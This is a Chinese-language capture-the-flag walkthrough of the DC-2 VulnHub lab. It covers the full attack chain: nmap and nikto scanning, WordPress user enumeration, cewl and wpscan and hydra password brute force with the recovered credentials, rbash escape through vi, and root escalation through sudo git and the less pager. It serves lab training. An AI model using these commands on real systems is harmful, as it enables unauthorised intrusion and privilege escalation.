企业数据中心后台提权实战 —— DC-2 靶机完整渗透笔记

难度: 初中级
靶机: DC-2 / VulnHub
涉及技术: WordPress · SSH · Git提权

目录 TABLE OF CONTENTS

  1. 环境准备与信息收集
  2. WordPress 漏洞利用
  3. SSH 口令爆破
  4. 受限 Shell 逃逸
  5. 水平移动与垂直提权
  6. 攻击链总结 & Flag索引

文章目录

  • [目录 TABLE OF CONTENTS](#目录 TABLE OF CONTENTS)
  • 一、环境准备与信息收集
    • [1.1 主机发现](#1.1 主机发现)
    • [1.2 全端口服务扫描](#1.2 全端口服务扫描)
    • [1.3 修改 Hosts 文件](#1.3 修改 Hosts 文件)
    • [1.4 Web 敏感目录扫描](#1.4 Web 敏感目录扫描)
  • [二、WordPress 漏洞利用](#二、WordPress 漏洞利用)
    • [2.1 用户名枚举](#2.1 用户名枚举)
    • [2.2 CeWL 定制密码字典](#2.2 CeWL 定制密码字典)
    • [2.3 WPScan 爆破登录](#2.3 WPScan 爆破登录)
  • [三、SSH 口令爆破](#三、SSH 口令爆破)
  • [四、受限 Shell 逃逸](#四、受限 Shell 逃逸)
    • [4.1 通过 vi 逃逸](#4.1 通过 vi 逃逸)
    • [4.2 扩展 PATH](#4.2 扩展 PATH)
  • 五、水平移动与垂直提权
    • [5.1 切换到 jerry](#5.1 切换到 jerry)
    • [5.2 Sudo 权限探查](#5.2 Sudo 权限探查)
    • [5.3 利用 git 提权到root](#5.3 利用 git 提权到root)
  • [六、攻击链总结 & Flag 索引](#六、攻击链总结 & Flag 索引)
  • 核心知识点

DC-2 是 VulnHub 上的一款经典 WordPress 渗透靶机,完整复现了从信息收集、弱口令爆破到受限 Shell 逃逸、再利用 sudo git 完成 root 提权的真实攻击链路。以下为完整实战笔记。

声明

本文内容仅用于授权靶场学习与 CTF 研究,任何未经授权的渗透行为均属违法。请在合法合规的环境中实践。


一、环境准备与信息收集

PHASE 1 --- Reconnaissance

1.1 主机发现

首先确认目标存活状态:

bash 复制代码
nmap -T4 -sP 172.20.10.10

1.2 全端口服务扫描

确认存活后进行详细扫描,-A 开启服务版本与操作系统探测,-p- 扫描全部 65535 端口,-oN 将结果保存到文件:

bash 复制代码
nmap -T4 -A -p- -oN haha.txt 172.20.10.10

关键发现

扫描结果显示目标存在域名伪装:直接访问 IP 会跳转到 dc-2 。同时发现 SSH 端口被管理员改到了非标准端口 7744,这是常见的安全加固手段。

1.3 修改 Hosts 文件

为正常访问目标 Web 服务,需在本地解析域名:

bash 复制代码
# 编辑 /etc/hosts,追加以下内容
172.20.10.10  dc-2

# Windows 路径:C:\Windows\System32\drivers\etc\hosts

1.4 Web 敏感目录扫描

bash 复制代码
nikto -h dc-2 -o nikto_result.txt

# 关键发现:/wp-login.php 登录入口暴露

二、WordPress 漏洞利用

PHASE 2 --- WordPress Attack

2.1 用户名枚举

利用 wpscan 枚举 WordPress 用户名,-e u 参数专门用于用户枚举:

bash 复制代码
wpscan --url dc-2 -e u

# 枚举到三个用户:admin · jerry · tom

2.2 CeWL 定制密码字典

CeWL 是一款基于目标网站内容生成密码字典的工具:

bash 复制代码
cewl dc-2 -w pass.txt   # 从目标站爬取词汇生成密码字典

# 准备用户名字典
echo "admin
jerry
tom" > username.txt

2.3 WPScan 爆破登录

bash 复制代码
wpscan --url dc-2 -U username.txt -P pass.txt

# 爆破结果:
[SUCCESS] jerry / adipiscing
[SUCCESS] tom   / parturient

登录后台后:

  • jerry 可查看 Flag 2
  • tom 用于 SSH 登录

三、SSH 口令爆破

PHASE 3 --- SSH Brute Force

bash 复制代码
hydra -L username.txt -P pass.txt 172.20.10.10 ssh -s 7744

# 结果:tom 可以登录,jerry 不行

ssh tom@172.20.10.10 -p 7744

安全知识

修改 SSH 默认端口只是基础防护,建议:
复杂密码 + 禁用 root 登录 + 密钥认证


四、受限 Shell 逃逸

PHASE 4 --- Restricted Shell Escape

以 tom 登录后发现是受限 Shell(rbash),常见命令 cat su 均被禁用:

bash 复制代码
echo $SHELL   # 查看当前 Shell 类型
echo $PATH    # 输出:/home/tom/usr/bin(权限受限)
ls usr/bin    # 可用命令:less · ls · scp · vi

可用命令:less · ls · scp · vi

4.1 通过 vi 逃逸

vi 内置命令执行能力,是经典逃逸路径之一:

shell --- vi 内部执行

bash 复制代码
# 在 vi 中按 ESC,然后输入:
:set shell=/bin/sh
:shell

# 或直接:
:!/bin/bash

4.2 扩展 PATH

bash 复制代码
# 将系统 bin 目录加入 PATH
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin

# 现在可以使用 cat 等完整命令了
cat flag3.txt

rbash常见逃逸方式

  • 通过 vi / vim 内部 :shell:!cmd
  • 通过 less / more 内部 !bash
  • 通过 awk / python / perl 执行系统命令
  • 通过 ssh 连接时追加 bash --noprofile

五、水平移动与垂直提权

PHASE 5 --- Privilege Escalation

5.1 切换到 jerry

bash 复制代码
su jerry          # 输入 jerry 的 WordPress 密码:adipiscing
cd ~
cat flag4.txt     # 提示:还需要最后一次提权

5.2 Sudo 权限探查

bash 复制代码
sudo -l
# 发现:(root) NOPASSWD: /usr/bin/git
# jerry 可以无密码以 root 身份运行 git

5.3 利用 git 提权到root

bash 复制代码
# 方法一:通过 help 进入 less 分页器
sudo git help config
# 在分页器底部输入:
!/bin/bash

# 方法二:-p 强制进入分页
sudo git -p --help
!/bin/bash

# 进入 root shell 后,读取最终 Flag
cat /root/final-flag.txt

原理说明
sudo git 以 root 权限运行,git help 内部调用 less 来显示手册页。less 的 ! 命令可以执行任意 Shell 指令,且继承了 git 的 root 权限。这是 GTFOBins 数据库中记录的标准提权路径。


六、攻击链总结 & Flag 索引

攻击链

复制代码
信息收集nmap/nikto → 用户枚举wpscan → 密码爆破cewl+wpscan → SSH登录hydra → Shell逃逸vi/PATH → sudo git提权root

Flag 位置

Flag 位置 获取方式
FLAG 1 WordPress 前台 首页
FLAG 2 WordPress 后台 jerry 登录 → Pages
FLAG 3 /home/tom/ SSH 登录后 cat
FLAG 4 /home/jerry/ su jerry
FINAL /root/ sudo git 提权读取

核心知识点

  • CeWL:基于目标站点内容生成针对性密码字典,比通用字典命中率更高
  • WPScan:WordPress 专用扫描/爆破工具,自动定位登录页
  • rbash 逃逸 :受限 Shell 通常可通过 vi、awk、python 等工具突破sudo 滥用:git / vim / awk 等可提权
  • sudo 权限滥用 :git、vim、less、awk、python 等都是常见提权媒介,参见 GTFOBins
  • SSH 非标端口:nmap -p- 全端口扫描不可少

实战靶场系列 · DC-2 渗透笔记 | 仅供授权学习使用